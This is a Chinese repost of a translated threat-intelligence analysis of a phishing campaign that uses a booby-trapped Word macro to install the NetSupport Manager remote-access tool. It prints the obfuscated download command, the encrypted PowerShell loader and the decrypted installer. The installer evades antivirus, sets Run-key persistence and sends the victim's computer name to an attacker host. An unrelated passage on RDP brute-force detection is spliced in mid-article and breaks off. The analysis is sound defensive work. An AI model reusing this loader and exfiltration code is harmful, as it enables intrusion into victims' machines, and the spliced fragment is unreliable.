远控软件NetSupport Manager被黑客用于网络钓鱼活动中 | Sunbet
登录
  • 欢迎进入Sunbet!
  • 如果您觉得Sunbet对你有帮助,那么赶紧使用Ctrl+D 收藏Sunbet并分享出去吧
  • 您好,这里是Sunbet!

远控软件NetSupport Manager被黑客用于网络钓鱼活动中

Sunbet_新闻事件 申博 15次浏览 已收录

2020年1月,Unit 42在一起网络钓鱼活动中发现了一份伪装成NortonLifelock公司(前身为赛门铁克)的恶意Word文档,用于分发RAT工具NetSupport Manager。NetSupport Manager是一款正规合法的商业远程访问工具,从2018年起就有攻击者将其用于恶意活动中获取未经授权的访问。

此次行动中,攻击者利用了能逃避动态和静态分析的规避技术,同时利用PowerShell PowerSploit框架来执行恶意文件活动的安装。

介绍

2020年1月上旬,Cortex XDR™引擎检测到一个执行可疑的批处理文件的winword.exe进程。

下图是攻击者所使用的加密文档,要求用户输入密码以启用宏。

文档样本SHA256:E9440A5D2DFE2453AE5B69A9C096F8D4CF9E059D469C5DE67380D76E02DD6975 远控软件NetSupport Manager被黑客用于网络钓鱼活动中

图1.伪装的恶意文件

用户打开文档并单击 “Enable Content”后将执行宏,并向用户显示一个密码对话框。

远控软件NetSupport Manager被黑客用于网络钓鱼活动中

图2.密码对话框

密码可能在向受害者发送的钓鱼邮件中提供,仅接受字母“ c”或“ C”,如下面的宏代码所示。宏代码SHA256:68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2

远控软件NetSupport Manager被黑客用于网络钓鱼活动中

如果用户输入了错误的密码,则会显示一条错误消息,并显示处理消息“done” 。只有输入正确的密码后恶意活动才会发生。

收到正确的密码后,宏将继续执行代码并构建以下命令字符串:

cmD /c EChO|SE^t /p=" M^siexe">%temp%\alpaca.bat&EcHo|s^et
/p="c " >>%temp%\alpaca.bat&EcHo|s^et /p="^/i"
>>%temp%\alpaca.bat&EcHo|s^et /p="
http^:^/^/^quickwaysignstx[.]com/view.php
">>%temp%\alpaca.bat&EcHo|s^et /p=" ^/q
&exit">>%temp%\alpaca.bat&%temp%\alpaca.bat&avvfge 2

宏使用VBA表单上的标签来混淆所有字符串,标签包含了两个字符,将这些字符连在一起来构造最终命令,进而在受害者上下载并执行RAT。

命令字符串通过VBA shell函数执行,包括以下操作:

· 通过/ c参数启动cmd.exe –执行命令并退出

· 在受害者%temp%目录中构造一个名为alpaca.bat的批处理文件

· 执行新创建的批处理脚本

批处理脚本使用msiexec,它是Windows安装程序服务的一部分,用于从域中下载和安装Microsoft中间语言(MSIL)二进制文件到机器:

quickwaysignstx[.]com/view.php

提供view.php的服务器似乎会过滤用户代理字符串,使用浏览器访问该站点将显示下图。

远控软件NetSupport Manager被黑客用于网络钓鱼活动中

图3.在quickwaysignstx [.] com上对view.php的HTTP GET请求

如果请求中的用户代理字符串是Windows Installer,则返回一个MSI文件。这个用户代理字符串是msiexec命令的一部分,进而支持只在使用msiexec时下载有效负载。MSI有效负载(SHA256: 41D27D53C5D41003BC9913476A3AFD3961B561B120EE8BFDE327A5F0D22A040A)来自www.exemsi [.] com,名为MPZMZQYVXO patch version 5.1。

下载后,MSI将使用/q参数执行,以禁止用户使用任何Windows对话框。在2019年11月报道过类似的活动。

MSI在受害者的%temp%目录中安装一个名为REgistryMPZMZQYVXO.ps1的PowerShell脚本。

攻击检测的前沿科学:用于检测RDP入站暴力破解的概率时间序列模型

公开了Windows远程桌面协议(RDP)的计算机对于攻击者来说是天然的攻击目标,因为它们提供了一种简单有效的方法来访问网络。暴力破解RDP是一种通过端口3389提供远程访问的安全网络通信协议,它不需要高水平的专业知识或使用漏洞的技术;攻击者可以利用许多现成的工具在网络上扫描潜在的受害者,并利用类似的工具进行暴力攻击。 攻击者将目标设定为使用弱密码且没有多因素身份验证,虚拟专用网络(VPN)和其他安全保护的RDP服务器。通过RDP暴力攻击,攻击者可以访问目标设备并进行许多后续活动,例如勒索软件和货币挖掘作业。 在暴力破解中,攻击者试图通过有效使用一种或多种试错法来登录帐户。这些攻击通常与在非常短的时间频率(通常是几分钟甚至几秒钟)内发生的许多失败登录有关。暴力攻击还可能尝试使用从

function HYTNKJSDEH([String] $YTVRJKIEIR, [String] $BORBFDSYOP)
{
$DHPFYCOKLM = “”;
$encoding = New-Object System.Text.ASCIIEncoding;
$KULVWNXDPId = $encoding.GetBytes("DJZGVUGVHDMNIGZD");
$derivedPass = New-Object
System.Security.Cryptography.PasswordDeriveBytes($YTVRJKIEIR,
$encoding.GetBytes($BORBFDSYOP), "SHA1", 2);
[Byte[]] $ESFLDIMUEO = $derivedPass.GetBytes(16);
$LCZJFEXHXR = New-Object
System.Security.Cryptography.TripleDESCryptoServiceProvider;
 
$LCZJFEXHXR.Mode =
[System.Security.Cryptography.CipherMode]::CBC;
$JOVGMJCIKY = $LCZJFEXHXR.CreateDecryptor($ESFLDIMUEO, $KULVWNXDPId);
$LBUWDFHHMZ = New-Object System.IO.MemoryStream($DHPFYCOKLMa,
$True);
$ZSKXKODPKK = New-Object
System.Security.Cryptography.CryptoStream($LBUWDFHHMZ,
$JOVGMJCIKY,
[System.Security.Cryptography.CryptoStreamMode]::Read);
$STDVLFIUQN = $ZSKXKODPKK.Read($JHTZWEZBUW, 0,
$JHTZWEZBUW.Length);
$LBUWDFHHMZ.Close();
$ZSKXKODPKK.Close();
$LCZJFEXHXR.Clear();
if (($JHTZWEZBUW.Length -gt 3) -and ($JHTZWEZBUW[0] -eq 0xEF)
-and ($JHTZWEZBUW[1] -eq 0xBB) -and ($JHTZWEZBUW[2] -eq 0xBF)) {
$h = $JHTZWEZBUW[3..($JHTZWEZBUW.Length-1)]; }
return $encoding.GetString($JHTZWEZBUW).TrimEnd([Char] 0);
}
 $TYCNJNUWWG = HYTNKJSDEH "ew9p5rzlmvcf32b6i0oun8q47tag1xhs"
"7ohp9z481qem6ykbdu2argt5lj3fcsi0";
Invoke-Expression $TYCNJNUWWG;

存储在REgistryMPZMZQYVXO.ps1中的加密数据块是另一个PowerShell脚本,负责将NetSupport Manager RAT安装到受害者上并设置持久性。

PowerShell脚本看上去是用PowerSploit框架中的开源脚本Out-EncryptedScript.ps1生成的。 它包含一个通过base64加密的数据块,并使用密码块链(CBC)的加密模式对TripleDES进行了加密。

此特定样本的解密密码和初始化向量(IV)为:

· 解密密钥= 0xA7A15B277A74CD3233B9DF078ABCDE12

· IV = DJZGVUGVHDMNIGZD

应该注意的是,此样本中使用的IV有可能与PowerSploit生成的其他样本不同。此外,由于IV块的大小为8个字节,因此16个字节的IV将被截断为8个字节。 解密后的PowerShell脚本如下所示:

$scriptPath = split-path -parent
$MyInvocation.MyCommand.Definition
if ($scriptpath -match "avast") {exit}
if ($scriptpath -match "Avast") {exit}
if ($scriptpath -match "AVG") {exit}
if ($scriptpath -match "avg") {exit}
function react (
  $source,
  $destination
)
{
Convert-StringToBinary -InputString $source -FilePath $Destination;
  ,      }
     },}
function Convert-StringToBinary
(
 $InputString
,  $FilePath
)
{
$file= $InputString
$data = [System.Convert]::FromBase64String($file)
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
 
$cs = New-Object System.IO.Compression.GZipStream($ms,
[System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($cs)
$t = $sr.readtoend(),|out-file str.txt
 
$ByteArray = [System.Convert]::FromBase64String($t);
[System.IO.File]::WriteAllBytes($FilePath, $ByteArray);
}
function Install
{
$file1 = “”;
$file2 = “”;
$file3 = “”;
$file4 = “”;
$file5 = “”;
$file6 = “”;
$file7 = “”;
$file8 = “”;
$file9 = “”;
$file10 = “”;
$file11 = “”;
$file12 = “”;
 
$randf=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) |
Get-Random -Count 8 | % {[char]$_}) )
$fpath ="$env:appdata\$randf"
mkdir $fpath
$clientname="presentationhost.exe"
$Source = $file1
$Destination = "$fpath\"+"$clientname"
react -source $source -destination $destination
$Source = $file2
$Destination = "$fpath\client32.ini"
write-host $destination
react -source $source -destination $destination
$Source = $file3
$Destination = "$fpath\HTCTL32.DLL"
react -source $source -destination $destination
$Source = $file4
$Destination = "$fpath\msvcr100.dll"
react -source $source -destination $destination
$Source = $file5
$Destination = "$fpath\nskbfltr.inf"
react -source $source -destination $destination
$Source = $file6
$Destination = "$fpath\NSM.ini"
react -source $source -destination $destination
$Source = $file7
$Destination = "$fpath\NSM.lic"
react -source $source -destination $destination
$Source = $file8
$Destination = "$fpath\pcicapi.dll"
react -source $source -destination $destination
$Source = $file9
$Destination = "$fpath\PCICHEK.DLL"
react -source $source -destination $destination
$Source = $file10
$Destination = "$fpath\PCICL32.DLL"
react -source $source -destination $destination
$Source = $file11
$Destination = "$fpath\remcmdstub.exe"
react -source $source -destination $destination
$Source = $file12
$Destination = "$fpath\TCCTL32.DLL"
react -source $source -destination $destination
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v ServiceDLL /t REG_SZ /d "$fpath\$clientname" /f
start-process "$fpath\$clientname"
,Start-sleep -s 10
Invoke-WebRequest -Uri "http://afsasdfa33[.]xyz/iplog/lepo.php?hst=$env:computername"
$f=get-content $env:temp\insghha4.txt
 
remove-item $env:TEMP\*.ps1
,cmd /c del %temp%\*.ps1 /f
,cmd /c del %temp%\*.txt /f
remove-item $f
}
,ShowConsole
,rights
 
install;

RAT安装程序PowerShell脚本执行以下操作:

1. 如果目标上正在运行Avast或AVG Antivirus软件,则停止安装;

2. 将组成NetSupport Manager RAT的12个文件安装到%appdata%的随机目录(长度为8个)中,例如c:\users\%username%\Appdata\Roaming\%randomvalue%\;

3. 通过创建以下注册表项并设置持久性:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

名称:ServiceDLL

值:Value: C:\Users\%username% \AppData\Roaming\%randomvalue%\presentationhost.exe’

4. 执行NetSupport Manager RAT Presentationhost.exe;

5. 沉睡10秒钟;

6. 将受害者的计算机名称发送到http://afsasdfa33[.]xyz/iplog/lepo.php?hst=%computername%;

7. afsasdfa33[.]xyz返回的所有数据都以insghha4.txt文件的形式保存在%temp%目录中;

8. 从%temp%目录中删除所有文件扩展名为.ps1的文件;

9. 删除名为insghha4.txt的文件。

一旦启动了NetSupport Manager可执行文件(presentationhost.exe),它就会向geo.netsupportsoftware[.]com发出信标,检索主机的地理位置,然后通过HTTP POST发送到http://94.158.245[.]182/fakeurl.htm。

应当注意,NetSupport Manager的原始名称是client32.exe,为了避免怀疑,名称被更改为presentationhost.exe。发送到目标域的流量示例:

POST http://94.158.245[.]182/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Host: 94.158.245[.]182
Connection: Keep-Alive
CMD=POLL
INFO=1
ACK=1

收到回复:

HTTP/1.1 200 OK
Server: NetSupport Gateway/1.6 (Windows NT)
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Connection: Keep-Alive

远控软件NetSupport Manager被黑客用于网络钓鱼活动中

从受害者发送回的加密数据:

POST http://94.158.245[.]182/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
Host: 94.158.245[.]182
Connection: Keep-Alive
 
 
 
CMD=ENCD
ES=1
DATA=u.2h.r..4.]..%y-…..=I…D3.W..i.7?….=@….F.f….&t.[..6ra..L..Tzg..... ..U.z4.]..%y-A9H=n .:!."Pfd]U,[.(...f=I.....W.p..RHz.....,..@.....>|.?...R...s.nt.G..=}\......M...6...wC.........I=M..0i=@..o.ckp=@.r……..M.6..

延伸

通过其他信息,可以确认相关活动的时间范围为2019年11月初至2020年1月底。

在11月的上半月,相关活动都使用了电子邮件附件,其中包含目标公司曾公开的关联人姓名或使用公众人物的姓名,大多数被提及的公众人物都属于电影或出版行业,邮件都是随机发送的,主题是信用卡相关内容。但从11月底到2020年1月,邮件附件发生了变化,改名为< target company website >.doc并使用在观察到的活动一天内注册的域从电子邮件地址发送。电子邮件主题包含同样的趋势,重复使用与退款相关的主题,以及交易和订单查询。虽然不清楚该活动的总体动机是什么,但这些更改可能会增加收件人打开电子邮件附件的可能性,并表明希望访问目标网络。

相关指标见附录。

本文翻译自:https://unit42.paloaltonetworks.com/cortex-xdr-detects-netsupport-manager-rat-campaign/:


Sunbet|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明远控软件NetSupport Manager被黑客用于网络钓鱼活动中
喜欢 (0)
[]
分享 (0)